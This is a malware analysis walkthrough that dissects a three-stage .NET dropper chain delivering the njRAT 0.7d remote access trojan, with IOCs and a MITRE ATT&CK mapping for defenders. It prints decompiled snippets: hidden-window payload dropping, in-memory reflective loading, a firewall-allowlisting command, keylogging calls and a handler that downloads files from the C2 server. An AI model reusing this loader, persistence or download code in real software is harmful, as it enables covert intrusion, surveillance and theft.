comnetac.exe: Dissecting a Multi-Stage .NET Dropper Delivering njRAT 0.7d

A hands-on malware analysis walkthrough from initial triage to full static dissection of a three-stage .NET chain delivering njRAT 0.7d.

A PE executable with an innocuous name and a file size just shy of 7MB. At first glance, comnetac.exe looks like a bloated installer and that is precisely the point. What it conceals inside is a three-stage .NET dropper chain that terminates in a fully operational njRAT 0.7d implant: persistent C2 connectivity, keylogging, screen capture, clipboard theft, plugin support, and firewall bypass, all assembled from managed .NET resources and loaded entirely in memory.

This is a full walkthrough of the analysis conducted on REMnux, from the first file command to source-level decomposition of the final payload.

Sample

Filename comnetac.exe

SHA2562247dabbce0440efd334eab9cc815629b3154d0f732782b463f6c74e0c13e31

Size 7,325,696 bytes (~7MB)

Format PE32 executable (GUI), Intel 80386, Mono/.NET assembly

Platform Windows

Stage 1 Static Triage

The first pass is always file and strings. The result is immediately telling:

sample.exe: PE32 executable (GUI) Intel 80386 Mono/.NET assembly, for MS Windows, 4 sections

A .NET assembly means the code is compiled to MSIL bytecode fully decompilable with the right tooling. This is a common trait of commodity RAT builders and, at the same time, a significant advantage for the analyst.

Running strings with targeted grep filters tells a partial story before any decompilation:

strings -n 6 sample.exe | grep -iE "http|ftp|smtp"
→ http://www.NivraChat.net

NivraChat is a legitimate legacy chat application. Its presence in the strings is explained later it is not the C2, but a masquerade layer. More telling is what strings do not reveal: no IP addresses, no port numbers, no registry paths. The actual malicious configuration is buried inside embedded managed resources, invisible to plain string extraction.

Two filenames stand out immediately:

comnetc.exe
comnetac.exe

Along with NivraC.exe, RoomList.exe, and Uninstall.exe fragments of the NivraChat installer that the dropper borrows to appear legitimate. This is textbook T1036 – Masquerading.

The presence of Reflection API strings confirms the binary uses runtime assembly loading:

GetType, System.Reflection, Assembly, Invoke, get_Assembly

This is the signature of a dropper that loads another assembly from memory rather than writing it in a form that static analysis tools can trivially flag.

Stage 2 Decompilation and Dropper Logic

Decompiling with ilspycmd exposes the dropper's logic cleanly. The entry point is a standard Windows Forms application that immediately suppresses all visible presence on load:

private void Form1_Load(object sender, EventArgs e)
{
    ((Control)this).Hide();
    ((Form)this).ShowInTaskbar = false;
    ((Form)this).ShowIcon = false;

    string text = Path.GetTempPath() + "\\comnetc1167.exe";
    File.WriteAllBytes(text, Resources.comnetc1167);
    Process.Start(text);
    string text2 = Path.GetTempPath() + "\\comnetc.exe";
    File.WriteAllBytes(text2, Resources.comnetc);
    Process.Start(text2);
}

Three things happen before the user sees anything. Hide() removes the window from the screen. ShowInTaskbar = false removes it from the taskbar. ShowIcon = false removes the system tray icon. The process is completely invisible from the moment it spawns.

It then extracts two PE binaries embedded in the .NET managed resources and executes both immediately via Process.Start().

The resources are confirmed with monodis:

comnetac.Form1.resources       →     180 bytes
comnetac.Resources.resources   →  7,305,694 bytes

The 7MB Resources.resources file is where both payloads live. At runtime, ResourceManager.GetObject("comnetc") and ResourceManager.GetObject("comnetc1167") retrieve the raw bytes and write them to %TEMP%.

MITRE ATT&CK mapping for this stage:

Technique ID Detail Hide Artifacts: Hidden Window T1564.001 Hide(), ShowInTaskbar=false, ShowIcon=false Obfuscated Files: Embedded Payloads T1027.009 Resources.comnetc1167, Resources.comnetc Ingress Tool Transfer T1105 File.WriteAllBytes to %TEMP% Execution T1059 Process.Start() Masquerading T1036 NivraChat naming convention

Stage 3 Second-Stage Loader

The second stage is itself a .NET assembly. Decompilation reveals a function named Devplus() that contains a massive hex-encoded string in the format:

4#D#5#A#9#0#0#0...

The encoding mechanism strips the # separators and converts each two-character chunk to a byte using VB.NET's "&H" hex prefix convention:

array[i] = (byte)Conversions.ToLong("&H" + Strings.Mid(hexString, 2*i+1, 2))

The resulting bytes are loaded directly into memory via the .NET AppDomain:

byte[] rawAssembly = hmけrにoetきrよ(text);
Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), parameters);

The function name hmけrにoetきrよ uses Unicode characters to obstruct automated analysis. The logic underneath is a straightforward hex decoder the obfuscation is cosmetic, but effective against simple string-matching tools.

Extracting and checking the resulting binary confirms the MZ header:

hex_clean[:4].upper() == '4D5A'  # True valid PE

Extracted payload:

SHA256: 7653a774deabd17fa27e1b3a30827c69feadef29f082466c698cbdb53b50a053
Format: PE32 executable (GUI), Intel 80386, Mono/.NET assembly, 3 sections

A third .NET assembly, loaded entirely in memory with no intermediate disk write exposed to AV scanning.

Stage 4 Final Payload: njRAT 0.7d

Decompiling the extracted binary with ilspycmd produces source code that is immediately recognizable to anyone who has handled the njRAT family. The configuration is hardcoded in static fields:

public static string H  = "aso.ddns[.]net";              // C2 domain
public static string P  = "1994";                         // C2 port
public static string VN = "SGFjS2Vk";                    // Base64 → "HacKed"
public static string VR = "0.7d";                         // RAT version
public static string RG = "be0d3f6ce1a7bd3a2a57b029043252eb";  // mutex / registry key
public static string EXE = "svchost.exe";                 // masquerade filename
public static string DR  = "TEMP";                        // drop directory

VN decodes from Base64 to "HacKed" a version tag embedded by the builder to label infections. C2 connectivity runs over TCP to aso.ddns[.]net on port 1994, a DDNS domain that allows the operator to rotate the underlying IP without updating the implant.

Persistence

The RAT achieves persistence through four parallel mechanisms, ensuring survival across reboots regardless of which one is cleared:

// Copy to %TEMP%\svchost.exe (masquerades as a system process)
// Copy to Startup folder
Environment.GetFolderPath(Environment.SpecialFolder.Startup)

// Registry Run key
// HKCU\Software\be0d3f6ce1a7bd3a2a57b029043252eb
// Firewall allowlist
netsh firewall add allowedprogram

The mutex be0d3f6ce1a7bd3a2a57b029043252eb doubles as the registry key name a builder-generated identifier unique to this infection instance.

Keylogger

GetAsyncKeyState()  // captures every keystroke
VKCodeToUnicode()   // converts virtual key codes to characters
AV()                // tracks active window title

Every key pressed is captured with the active window title as context. No driver-level hooks are used the keylogger operates entirely in user space via the Win32 API, which keeps the implementation simple and avoids kernel-mode detection vectors.

Screen Capture

string S = "CAP" + Y;
((Image)val3).Save((Stream)memoryStream3, ImageFormat.Jpeg);
string text = md5(memoryStream3.ToArray());
if (Operators.CompareString(text, lastcap, false) != 0)
    // only transmit if screen content has changed

Screenshots are sent as JPEG over the C2 channel, but only when the screen MD5 differs from the previous capture. This delta check reduces network noise and makes traffic patterns less regular a small but meaningful operational detail.

Plugin System

case "PLG":
    PLG = RuntimeHelpers.GetObjectValue(Plugin(ZIP(memoryStream.ToArray()), "A"));

The operator can push additional plugins at runtime, extending capabilities without modifying or redeploying the original binary.

Remote Execution

case "rn":
    bytes = webClient2.DownloadData(array[2]);

Arbitrary files can be downloaded from a URL supplied by the C2 and executed locally a second-stage delivery mechanism built into the implant itself.

Developer Artifact

A PDB path recovered from the binary resources reveals the developer’s build environment:

C:\Users\MR -PUNISER\Documents\Visual Studio 2012\
Projects\comnetc\comnetc\obj\Debug\comnetc.pdb

The handle MR -PUNISER is an OSINT pivot point. Visual Studio 2012 suggests either a legacy build environment or a deliberate choice to produce binaries that confuse heuristics tuned for modern compiler output. An additional string found in the resources adds geographic context:

Execution des commandes...

French-language output string either a French-locale build machine or a developer comfortable working in French.

IOC Summary

2247dabbce0440efd334eab9cc815629b3154d0f732782b463f6c74e0c13e31d

6c2a9d13fd561a589180a0430feed46d74ea9f003e5d2f4d25f19a40fa8417fa

7653a774deabd17fa27e1b3a30827c69feadef29f082466c698cbdb53b50a053

aso.ddns[.]net

1994/TCP

be0d3f6ce1a7bd3a2a57b029043252eb

%TEMP%\svchost.exe

%TEMP%\comnetc.exe

%TEMP%\comnetc1167.exe

HKCU\Software\be0d3f6ce1a7bd3a2a57b029043252eb

MR -PUNISER

MITRE ATT&CK Full Mapping

Hide Artifacts: Hidden Window T1564.001

Obfuscated Files: Embedded Payloads T1027.009

Ingress Tool Transfer T1105

Execution via Scripting Interpreter T1059

Masquerading T1036

Registry Run Keys / Startup Folder T1547.001

Keylogging T1056.001

Screen Capture T1113

Modify System Firewall T1562.004

Reflective Code Loading T1620

Closing Notes

comnetac.exe is not a sophisticated sample by modern standards. njRAT 0.7d is a decade-old commodity RAT, and the dropper chain, while layered, relies entirely on managed .NET reflection rather than process injection or kernel-level evasion. What makes it worth documenting is the completeness of the chain: three stages, each decoded in memory from the previous, terminating in a fully capable implant with persistence across four vectors and a C2 protocol that has remained operationally viable precisely because its traffic resembles ordinary TCP to misconfigured firewalls.

The developer handle MR -PUNISER and the French locale artifact are the most actionable elements for tracking further activity from this actor.

All IOCs are defanged. TLP:WHITE. Analysis performed on REMnux. Tooling: ilspycmd, monodis, strings, Python 3.